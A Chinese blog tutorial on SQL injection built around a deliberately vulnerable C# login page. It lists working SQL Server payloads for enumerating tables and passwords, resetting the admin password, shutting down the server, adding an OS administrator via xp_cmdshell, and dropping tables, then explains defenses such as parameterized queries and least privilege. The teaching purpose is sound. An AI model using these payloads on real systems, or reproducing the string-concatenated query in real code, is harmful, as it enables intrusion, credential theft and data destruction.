有些网站将直接拿用户的输入 来拼接SQL语句,进行查询等操作,同时也将错误信息暴露给用户。这就给不怀好意的同学可乘之机,利用输入一些奇特的查询字符串,拼接成特定的SQL语 句,即可达到注入的目的。不仅可以获取数据库重要信息,权限没有设置好的话甚至可以删除掉整个表。因此,SQL注入漏洞还是相当的严重的。发现以前偶刚学 写的网站的时候也是靠拼接SQL语句吃饭滴……
为了更好了学习和了解SQL注入的方法,做了一个示例网页,界面如下:
点击登陆这块的代码如下,注意第5行,我们使用了拼接SQL语句:
private void Login () { string uname = tbName . Text ; string pwd = tbPassword . Text ; string sqlCmd = "select * from [Users] where UserName = '" + uname + "'" ; string sqlCmdRep = sqlCmd . Replace ( "Users" , "XXX" ). Replace ( "UserName" , "XXX" ); lbSQL . Text = sqlCmdRep ; try { DataTable dt = DataSQLServer . GetDataTable ( sqlCmd ); gvResult . DataSource = dt ; gvResult . DataBind (); if ( dt . Rows . Count == 1 && pwd == dt . Rows [ 0 ][ "Password" ]. ToString ()) { lbRes . Text = dt . Rows [ 0 ][ "UserName" ] + " Login Success!" ; } else if ( dt . Rows . Count == 0 ) { lbRes . Text = uname + " not exist!" ; } else { lbRes . Text = "Login Fail!" ; } } catch ( Exception ex ) { lbRes . Text = "Error: " + ex . Message ; } }
详细具体的注入方法就不一一介绍了,欢迎下载该示例程序进行实战演练,点击界面的“注入指南”有详细的注入说明:
1. 试探是否能够注入 ' 2. 试探管理员用户名 XXX 3. 猜表名 admin'or 0>(select count(*) from [XXX]) -- 更狠的方法直接取表名: admin' and (Select Top 1 name from sysobjects where xtype='U')>0 -- 4. 猜列名 admin'and 0< (select count(XXX) from [Users]) -- 再来狠的取列名: admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0 -- 5. 猜密码长度 admin'and 1=(select count(*) from [Users] where len(Password)<XXX) -- 6. 猜密码 admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') -- ---------------------------------------------------------------------------------------------- 在探测出了表名和列表的时候,可以使用终极武器,直接修改admin的密码,或者做更加恶劣的破坏行为: admin';update [Users] set Password='123' where UserName='admin' -- ---------------------------------------------------------------------------------------------- 其他恶劣行为: 1. 直接关闭偶的SQL服务 admin';shutdown -- 2. 如果使用sa用户并可能遭受的攻击:在偶机器上添加用户,并加入某个组织: admin';exec master..xp_cmdshell "net user name password /add" -- admin';exec master..xp_cmdshell "net localgroup name administrators /add" -- 3. 直接备份数据库,然后下载下来,非常恶劣,建议不要对我使用。 admin';backup database Test to disk='d:"1.db'-- 4. 直接删表,慎用啊 admin';drop table abc -- ---------------------------------------------------------------------------------------------- 其他经验总结: 1. 绕过单引号过滤 where xtype='U' ===> where xtype=char(85) where name='用户' ===> where name=nchar(29992)+nchar(25143) 2. 取数据库名称 admin' and db_name()>0 -- ----------------------------------------------------------------------------------------------后面会介绍到如何安全的组装SQL语句。
示例程序下载 : SQLInjection.rar
详见示例网站
在示例中也说明了如何防范,在这里再精炼一下所谓的防止SQL注入四大法宝:
最小权限原则 特别是不要用dbo或者sa账户,为不同的类型的动作或者组建使用不同的账户,最小权限原则适用于所有与安全有关的场合。 在服务器端对用户输入进行过滤 我 们要对一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤;使用强数据类型,比如你需要用户输入一个整数,就要把用户输入的 数据转换成整数形式;限制用户输入的长度等等。这些检查要放在server运行,client提交的任何东西都是不可信的。 以安全的方式创建SQL语句 不要再用万恶的字符串拼接SQL语句了,使用Parameter对象吧,比如C#中的: string sqlText = "select * from [Users] where UserName = @Name" ; SqlParameter nameParm = new SqlParameter ( "Name" , uname ); sqlCmd . CommandText = sqlText ; sqlCmd . Parameters . Add ( nameParm ); 错误信息不要暴露给用户 当sql运行出错时,不要把数据库返回的错误信息全部显示给用户,错误信息经常会透露一些数据库设计的细节。 特别注意:也许有很多人告诉过你使用存储过程能免受SQL注入攻击。这是错的!这只能阻止某些种类的攻击。比如存在sp_GetName存储过程,我们的代码如下: string name = ...; //name from user SqlConnection conn = new SqlConnection (...); conn . Open (); string sqlString = @"exec sp_GetName '" + name + "'" ; SqlCommand cmd = new SqlCommand ( sqlString , conn ); 我们试图输入"Black' or 1=1 --"将会失败,但下面的操作却是合法的: exec sp_GetName 'Black' insert into Users values(2008, 'Green') -- '
Michael Howard, David LeBlanc. "Writing Secure Code"
Mike Andrews, James A. Whittaker "How to Break Web Software"http://www.secnumen.com/technology/anquanwenzhai.htm